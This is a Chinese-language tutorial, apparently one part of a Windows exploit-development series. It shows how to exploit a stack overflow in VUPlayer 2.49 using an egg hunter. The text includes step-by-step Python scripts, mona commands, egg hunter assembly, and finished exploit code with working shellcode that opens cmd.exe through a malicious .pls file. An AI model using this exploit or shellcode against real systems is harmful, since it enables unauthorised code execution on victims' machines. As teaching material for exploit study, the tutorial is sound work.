漏洞-信息安全界最常见的词汇,在百度百科是这样描述的。
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
本文主要介绍的是Windows软件漏洞的利用开发教程。
我花了大量的时间来研究了计算机安全领域Windows漏洞利用开发,希望能和大家分享一下,能帮助到对这方面感兴趣的朋友,如有不足,还请见谅。
欢迎阅读本系列文章的第三部分,如果你错过了第二部分,请点击下方传送门。
http://www.freebuf.com/articles/system/167959.html
本部分我们将利用Egg hunter技术在堆栈中查找shellcode。
我们需要准备以下工具:
1、Windows XP SP3 32-bit系统iso镜像
2、Immunity Debugger-漏洞分析专用调试器
3、代码文本编辑器(个人喜好,我用的是notepad++)
4、VUPlayer 2.49
VUPlayer是一款Windows平台下免费的多格式音频播放器,我们的目标是VUPlayer版本2.49,你可以通过下面链接下载存在漏洞的程序。
https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe
软件下载安装
如果可用缓冲区太小不能将我们的shellcode存放,这时就需要Egg hunter技术来帮助我们了,它可以让你使用少量自定义shellcode来查找实际的shellcode,换句话说,首先执行少量代码,然后尝试查找真正的shellcode并执行。
首先,我们要了解如何才能使目标程序崩溃。
漏洞存在地址:
https://www.exploit-db.com/exploits/7695/
通过分析漏洞POC我们得知目标程序在打开pls文件发生了堆栈缓冲区溢出,现在我们来写一个fuzzer poc来帮助我们确认溢出。
# -*- coding: UTF-8 -*-
low_size = 2000 #数据总大小
juck = 'A' * low_size #测试字符串
plspayload = juck
plsfp = open("payload.pls","w") #生成测试Payload文档
plsfp.write(plspayload);
plsfp.close()
打开payload.pls,崩溃发生。
现在用Immunity Debugger打开VUPlayer并点击Run(F9)
接下来打开测试payload.pls文件
确认EIP地址被覆盖,确认缓冲区被我们占领,非常有趣。
确认完漏洞,接下来我们就要寻找EIP offset来控制EIP的值。
主要使用到mona插件,具体请看第一部分:
!mona pc 2000
!mona pattern_offset 0x68423768
很快我们就找到了偏移量1012.
测试一下EIP是否被准确覆盖。
# -*- coding: UTF-8 -*-
import struct
low_size = 2000 #数据总大小
juck = '\x41' * 1012 #测试字符串
eip = struct.pack("<L", 0x42434445)#覆盖EIP为0x42434445
payload = juck + eip #组合payload
end = "\x43"*(low_size - len(payload)) #填补剩余的空间确保溢出
plspayload = payload +end
plsfp = open("payload.pls","w")#生成测试Payload文档
plsfp.write(plspayload);
plsfp.close()
EIP被准确覆盖
这证明我们能精准控制EIP地址,偏移量是正确的。
第一部分有介绍,这里我们就直接操作了,运行下列指令我们将得到一个jmp.txt
!mona jmp -r esp
然后我们就得到一个地址0x7c8369f0,这个就是我们需要的EIP地址。
现在我们先更新一下python脚本,然后加入测试shellcode来看看堆栈情况。
# -*- coding: UTF-8 -*-
import struct
low_size = 2000 #数据总大小
juck = '\x41' * 1012 #测试字符串
eip = struct.pack("<L", 0x7c8369f0)#覆盖EIP为0x7c8369f0
nops = "\x90" * 24
shellcode = "\xCC" * 40 #测试shellcode
payload = juck + eip + nops + shellcode #组合payload
end = "\x43"*(low_size - len(payload)) #填补剩余的空间确保溢出
plspayload = payload + end
plsfp = open("payload.pls","w")#生成测试Payload文档
plsfp.write(plspayload);
plsfp.close()
用Immunity Debugger打开VUPlayer并点击Run,然后打开脚本生成的测试payload.pls文件
这看起来并没有什么问题,我们可以用真实的shellcode来代替了。但这真心不是本文的重点,我们来给自己加点挑战,假如我们没有足够的空间来存放超过32字节的代码,而且也没其他寄存器选择,这时候该怎么办?这看来运气有点不好,但它确实很有意思。
解决的办法就是我们需要去构建一个非常小的汇编语言程序,这个程序能够搜索并执行我们的shellcode。那么它是怎么找到shellcode呢?所以我们shellcode要定义一个独特的标签,这样当它发现这个标签时,它会 知道它找到了shellcode,然后再执行。
我们将使用基于NtDisplayString技术的egghunter代码,当然这个不是我凭空写出来的,代码本身是公布的,我只是改了标签。
6681CAFF0F or dx,0x0fff ;通过添加循环遍历内存中的页面
42 inc edx ;循环遍历每一个地址
52 push edx ;入栈操作
6A43 push byte +0x43 ;NtDisplayString的系统调用ID
58 pop eax ;出栈操作,其实就是作参数
CD2E int 0x2e ;调用NtDisplayString
3C05 cmp al,0x5 ;对比操作
5A pop edx ;出栈操作
74EF jz 0x0 ;如果ZF标志由CMP指令设置,则存在访问冲突
;无效页面,回到顶部
B874303077 mov eax,0x7a757368 ;标签(7a 75 73 68 = zush)
8BFA mov edi,edx ;将EDI设置为EDX的当前地址指针以用于SCASD指令
AF scasd ;将EAX中的值与DWORD值进行比较
;在SCASD比较后相应地设置EFLAGS寄存器,这里比较两次才算真正的发现shellcode
75EA jnz 0x5
AF scasd
75E7 jnz 0x5
FFE7 jmp edi
它的工作原理就是循环遍历内存页面,发现每个地址的数据,然后将这个数据值与我们给它的唯一标签进行匹配,如果它发现数据与标签匹配,则它跳转到该地址并开始执行shellcode。
现在我们来更新一下python脚本
# -*- coding: UTF-8 -*-
import struct
low_size = 2000 #数据总大小
juck = '\x41' * 1012 #测试字符串
eip = struct.pack("<L", 0x7c8369f0)#覆盖EIP为0x7c8369f0
nops = "\x90" * 24
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter += "zush" #标志
egghunter += "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
egg = "zushzush" # 标签 x 2
shellcode = "\xCC"*300 # 用INT指令模拟shellcode
payload = juck + eip + egghunter + egg + nops + shellcode #组合payload
end = "\x43"*(low_size - len(payload)) #填补剩余的空间确保溢出
plspayload = payload + end
plsfp = open("payload.pls","w")#生成测试Payload文档
plsfp.write(plspayload);
plsfp.close()
用Immunity Debugger打开VUPlayer并点击Run,然后打开脚本生成的测试payload.pls文件
你可以在堆栈看到我们的标志,也可以使用Mona命令
!mona find -s "zushzush"
现在整个开发就很简单了,我们来更新一下python脚本
# -*- coding: UTF-8 -*-
import struct
low_size = 2000 #数据总大小
juck = '\x41' * 1012 #测试字符串
eip = struct.pack("<L", 0x7c8369f0)#覆盖EIP为0x7c8369f0
nops = "\x90" * 24
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter += "zush" #标志
egghunter += "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
egg = "zushzush" # 标签 x 2
badcode = "\x42"*248 #证明即使shellcode空间不足,exploit仍然可以工作
#cmd.exe shellcode
shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
shellcode += "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
shellcode += "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
shellcode += "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
shellcode += "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
shellcode += "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
shellcode += "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
shellcode += "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
shellcode += "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
shellcode += "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
shellcode += "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
shellcode += "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
shellcode += "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
shellcode += "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
shellcode += "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
shellcode += "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
shellcode += "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
shellcode += "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
shellcode += "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
shellcode += "\x24\x20\x57\xFF\xD0"
payload = juck + eip + egghunter + badcode + egg + nops + shellcode #组合payload
end = "\x43"*(low_size - len(payload)) #填补剩余的空间确保溢出
plspayload = payload + end
plsfp = open("payload.pls","w")#生成测试Payload文档
plsfp.write(plspayload);
plsfp.close()
用Immunity Debugger打开VUPlayer并点击Run,然后打开脚本生成的测试payload.pls文件
exploit成功,cmd窗口打开了。
本文我们主要了介绍了一种有趣的技术Egg hunter,了解了Egg hunter的应用场景以及如何利用Egg hunter技术解决堆栈存放shellcode空间不足的问题。最后,还是那句话,本人水平有限,如有不足,还请各位兄弟指出。